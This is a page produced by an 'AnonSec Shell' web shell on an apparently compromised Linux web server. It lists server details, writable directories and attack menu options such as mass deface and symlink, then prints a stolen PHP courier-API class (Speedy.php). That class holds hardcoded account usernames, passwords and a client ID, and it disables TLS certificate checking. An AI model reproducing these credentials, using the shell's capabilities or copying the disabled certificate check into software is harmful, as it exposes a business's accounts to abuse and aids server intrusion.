AnonSec Shell
Server IP : 172.67.168.138  /  Your IP : 216.73.216.227   [ Reverse IP ]
Web Server : Apache
System : Linux frog 6.1.0-49-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
User : web13 ( 5017)
PHP Version : 8.3.31
Disable Function : NONE
Domains : 41 Domains
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/clients/client12/web13/web/ahelos/app/Class/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/clients/client12/web13/web/ahelos/app/Class/Speedy.php
<?php
namespace App\Class;
use App\Traits\CompanyTrait;


class Speedy{
  use CompanyTrait;


  private $username;
  private $password;
  private $country;
  private $url;
  private $data;
  private $clientId;

  public function __construct($country){
    $this->country = $country;

    // $this->username = '998152';
    // $this->password = '3696858864';

    $this->clientId = '88888888888000';
    $this->username = '1995496';
    $this->password = '2638668232';
    $this->url      = 'https://api.speedy.bg/v1/';
  }

  private function apiRequest($apiURL, $jsonData){
    $curl = curl_init($apiURL);

    $jsonDataEncoded = json_encode($jsonData);

    curl_setopt($curl, CURLOPT_POST, 1);
    curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 5);
    curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type: application/json'));
    curl_setopt($curl, CURLOPT_POSTFIELDS, $jsonDataEncoded);

    #-> Get the response
    $jsonResponse = curl_exec($curl);

    if ( $jsonResponse === FALSE)
    {
      exit("cURL Error: ".curl_error($curl));
    }

    return($jsonResponse);
  }


  private function countryId(){
    return match($this->country){
      'bg' => 100,
      'gr' => 300,
      'ro' => 642,
      'sl' => 705,
      'sk' => 703,
      'cz' => 203,
      'hr' => 191,
      'hu' => 348,
      'cy' => 196,
    };
  }


  public function getUsername(){
    return $this->username;
  }

  public function cities($name){
    $jsonData = array(
       'userName' => $this->username,
       'password' => $this->password,
       'language' => 'bg',
       'countryId' => $this->countryId(),
       'name'      => $name,
    );

    $jsonResponse = $this->apiRequest($this->url.'location/site/', $jsonData);
    $jsonResponse = json_decode($jsonResponse, true);

    $response = array();
    foreach ($jsonResponse as $key => $array_sites) {
      foreach ($array_sites as $key => $site) {
        $zip = (isset($site['postCode'])) ? $site['postCode'] : '' ;

          $response[] = array(
            "label" => trim($site['type'] . ' ' . $site['name'] . ' [' . $site['region'] . ']'),
            "city" => trim($site['name']),
            "city_id" => $site['id'],
            "zip" => $zip,
          );
      }
    }

    return $response;
  }


  public function offices($city_id){
    $jsonData = array(
       'userName' => $this->username,
       'password' => $this->password,
       'language' => 'bg',
       'siteId' => $city_id,
    );

    $jsonResponse = $this->apiRequest($this->url.'location/office/', $jsonData);
    $jsonResponse = json_decode($jsonResponse, true);
    $response = array();

    foreach ($jsonResponse as $key => $array_offices) {
      foreach ($array_offices as $key => $office) {
          $response[] = array(
            "label" => $office['address']['fullAddressString'],
            "id" => $office['id'],
            "type"  => $office['type']
          );
      }
    }

    return $response;
  }

  public function addresses($city_id, $name){
    $jsonData = array(
       'userName' => $this->username,
       'password' => $this->password,
       'language' => 'bg',
       'siteId' => $city_id,
       'name' => $name
    );

    $jsonResponse = $this->apiRequest($this->url.'location/street/', $jsonData);
    $jsonResponse = json_decode($jsonResponse, true);

    $response = array();
    foreach ($jsonResponse as $key => $array_streets) {
      foreach ($array_streets as $key => $street) {
          $response[] = array(
            "label" => trim($street['type'] . ' ' . $street['name']),
            "name" => trim($street['name']),
            "id" => $street['id'],
            "type" => $street['type'],
          );
      }
    }

    return $response;
  }

  public function create($data){
    $saturdayDelivery = ($data['saturdayDelivery'] == 1) ? true : false;

    $jsonData = array(
      'userName' => $this->username,
      'password' => $this->password,
      'language' => $data['language'],
      'service' => array(
        'autoAdjustPickupDate' => true,
        'serviceId' => $data['serviceId'],
        'saturdayDelivery' => $data['saturdayDelivery'],
        'additionalServices' => array(
          'cod' => array(
            'amount' => $data['amount'],
            'processingType' => $data['processingType'],
          ),
        ),
      ),
      'sender' => array(
        'phone1' => array('number' => $data['senderPhone']),
        'contactName' => $data['companySender'],
      ),
      'content' => array(
        'parcelsCount' => $data['parcelsCount'],
        'totalWeight' => $data['totalWeight'],
        'contents' => $data['contents'],
        'package' => $data['package']
      ),

      'payment' => array(
        'courierServicePayer' => $data['courierServicePayer'] // [ "SENDER", "RECIPIENT", "THIRD_PARTY" ]
      ),
      'recipient' => array(
        'phone1' => array(
          'number' => $data['clientPhone']
        ),
        'privatePerson' => TRUE,
        'clientName' => $data['clientName'],
        // 'contactName' => 'TEST',
        'email' => $data['email'],

      ),
      'shipmentNote' => $data['shipmentNote'],
      'ref1' => $data['ref1']
    );

    if ($data['fragile'] && $data['insuranceAmount'] > 0) {
      $jsonData['service']['amount'] = $data['insuranceAmount'];
      $jsonData['service']['fragile'] = $data['fragile'];
    }


    if ($this->countryId() == 100) {
      if ($data['officeType'] != "APT") {
        if ($data['obpdOption'] == 'TEST') {
          $jsonData['service']['additionalServices']['obpd'] = array(
            'option' => $data['obpdOption'],
            'returnShipmentServiceId' => $data['serviceId'],
            'returnShipmentPayer' => 'SENDER'
          );
        }else{
          $jsonData['service']['additionalServices']['obpd'] = array(
            'option' => $data['obpdOption'],
            'returnShipmentServiceId' => $data['serviceId'],
            'returnShipmentPayer' => 'RECIPIENT'
          );
        }
      }

    }

    if ($data['pickupOfficeId'] != '') {
      $jsonData['recipient']['pickupOfficeId'] = $data['pickupOfficeId'];
    }else{
      if ($this->countryId() == 100) {
        $jsonData['recipient']['address'] = array(
          'siteId' => $data['siteId'],
          'streetType' => $data['streetType'],
          'streetName' => $data['streetName'],
          'streetNo' => $data['streetNo'],
          'blockNo' => $data['blockNo'],
          'entranceNo' => $data['entranceNo'],
          'floorNo' => $data['floorNo'],
          'apartmentNo' => $data['apartmentNo'],
  				'addressNote' => $data['addressNote'],
        );
      }else if($this->countryId() == 642){
        $jsonData['recipient']['address'] = array(
          'countryId' => $this->countryId(),
          'siteName' => $data['siteName'],
          'postCode' => $data['postCode'],
          'addressNote' => $data['streetName'] . " " . $data['streetNo'] . " " . $data['blockNo'] . " " . $data['entranceNo'] . " " . $data['floorNo'] . " " . $data['apartmentNo'] . " " . $data['addressNote'],
        );
      }else{
        $jsonData['recipient']['address'] = array(
          'countryId' => $this->countryId(),
          'siteName' => $data['siteName'],
          'postCode' => $data['postCode'],
          'addressLine1' => $data['streetName'] . " " . $data['streetNo'] . " " . $data['blockNo'] . " " . $data['entranceNo'] . " " . $data['floorNo'] . " " . $data['apartmentNo'],
  				'addressNote' => $data['addressNote'],
        );
      }
    }

    $jsonResponse = $this->apiRequest($this->url.'shipment', $jsonData);
    $jsonResponse = json_decode($jsonResponse, true);

    return $jsonResponse;
  }




  public function createBack($data){
    $saturdayDelivery = false;

    $jsonData = array(
      'userName' => $this->username,
      'password' => $this->password,
      'language' => $data['language'],
      'service' => array(
        'autoAdjustPickupDate' => true,
        'serviceId' => $data['serviceId'],
        'additionalServices' => array(
          'cod' => array(
            'amount' => $data['cod']['amount'],
          ),
        ),
      ),
      'recipient' => array(
        'phone1' => array('number' => $this->companyInfo($data['language'])['phone']),
  			'clientId' => $this->clientId,
  			'email' => $this->companyInfo($data['language'])['email'],
      ),
      'content' => array(
        'parcelsCount' => 1,
        'totalWeight' => 1,
        'contents' => 'СТОКИ',
        'package' => 'BOX'
      ),

      'payment' => array(
        'courierServicePayer' => 'RECIPIENT' // [ "SENDER", "RECIPIENT", "THIRD_PARTY" ]
      ),
      'sender' => array(
        'phone1' => array(
          'number' => $data['senderPhone']
        ),
        'privatePerson' => TRUE,
        'clientName' => $data['clientName'],
        'email' => $data['clientEmail'],
      ),
      'shipmentNote' => 'СТОКИ',
      'ref1' => $data['ref1']
    );



    if ($this->countryId() == 100) {
      $jsonData['sender']['address'] = array(
        'siteId' => $data['siteId'],
        'streetType' => $data['streetType'],
        'streetName' => $data['streetName'],
        'streetNo' => $data['streetNo'],
        'blockNo' => $data['blockNo'],
        'entranceNo' => $data['entranceNo'],
        'floorNo' => $data['floorNo'],
        'apartmentNo' => $data['apartmentNo'],
        'addressNote' => $data['addressNote'],
      );
    }else if($this->countryId() == 642){
      $jsonData['sender']['address'] = array(
        'countryId' => $this->countryId(),
        'siteName' => $data['siteName'],
        'postCode' => $data['postCode'],
        'addressNote' => $data['streetName'] . " " . $data['streetNo'] . " " . $data['blockNo'] . " " . $data['entranceNo'] . " " . $data['floorNo'] . " " . $data['apartmentNo'] . " " . $data['addressNote'],
      );
    }else{
      $jsonData['sender']['address'] = array(
        'countryId' => $this->countryId(),
        'siteName' => $data['siteName'],
        'postCode' => $data['postCode'],
        'addressLine1' => $data['streetName'] . " " . $data['streetNo'] . " " . $data['blockNo'] . " " . $data['entranceNo'] . " " . $data['floorNo'] . " " . $data['apartmentNo'],
        'addressNote' => $data['addressNote'],
      );
    }


    $jsonResponse = $this->apiRequest($this->url.'shipment', $jsonData);
    $jsonResponse = json_decode($jsonResponse, true);

    return $jsonResponse;
  }


  public function cancel($shipment_id){
    $jsonData = array(
       'userName' => $this->username,
       'password' => $this->password,
       'shipmentId' => $shipment_id,
       'comment' => 'Отказана товарителница!'
    );

    $jsonResponse = $this->apiRequest($this->url.'shipment/cancel', $jsonData);
    $jsonResponse = json_decode($jsonResponse, true);

    return $jsonResponse;
  }

  public function info($shipment_id){
    $jsonData = array(
      'userName' => $this->username,
      'password' => $this->password,
      'language' => 'bg',
      'shipmentIds' => array($shipment_id)
    );

    $jsonResponse = $this->apiRequest($this->url.'shipment/info', $jsonData);
    $jsonResponse = json_decode($jsonResponse, true);

    return $jsonResponse;
  }


  public function print($shipment_id){
    foreach ($this->info($shipment_id)['shipments'][0]['content']['parcels'] as $key => $p) {
    	$shipsArr[]['parcel']['id'] = $p['id'];
    }

    $parcelsArray = $shipsArr;

    $jsonData = array(
       'userName' => $this->username,
       'password' => $this->password,
       'paperSize' => 'A6', // A4, A6, A4_4xA6
    	 'parcels' => $parcelsArray
    );

    $jsonResponse = $this->apiRequest($this->url.'print/', $jsonData);

    return $jsonResponse;
  }



  public function labelInfo($shipment_id){
    foreach ($this->info($shipment_id)['shipments'][0]['content']['parcels'] as $key => $p) {
      $shipsArr[]['id'] = $p['id'];
    }

    $parcelsArray = $shipsArr;

    $jsonData = array(
       'userName' => $this->username,
       'password' => $this->password,
       'parcels' => $parcelsArray
    );

    $jsonResponse = $this->apiRequest($this->url.'print/labelInfo', $jsonData);
    $jsonResponse = json_decode($jsonResponse, true);

    return $jsonResponse;
  }

  public function enroll($tovaritelnica){
  	$jsonData = array(
  	   'userName' => $this->username,
  	   'password' => $this->password,
  	   'autoAdjustPickupDate' => true,
  	   'explicitShipmentIdList' => [$tovaritelnica],
  	   "visitEndTime" => '17:00'
  	);

    $jsonResponse = $this->apiRequest($this->url.'pickup', $jsonData);
    $jsonResponse = json_decode($jsonResponse, true);

    return $jsonResponse;
  }


  public function track($tovaritelnica){
    $parcelsArray = array(
      array('id' => $tovaritelnica)
    );

    $jsonData = array(
      'userName' => $this->username,
      'password' => $this->password,
      'language' => 'bg',
      'parcels' => $parcelsArray
    );

    $jsonResponse = $this->apiRequest($this->url.'track', $jsonData);
    $jsonResponse = json_decode($jsonResponse, true);

    return $jsonResponse;
  }

}

 ?>

Anon7 - 2022
AnonSec Team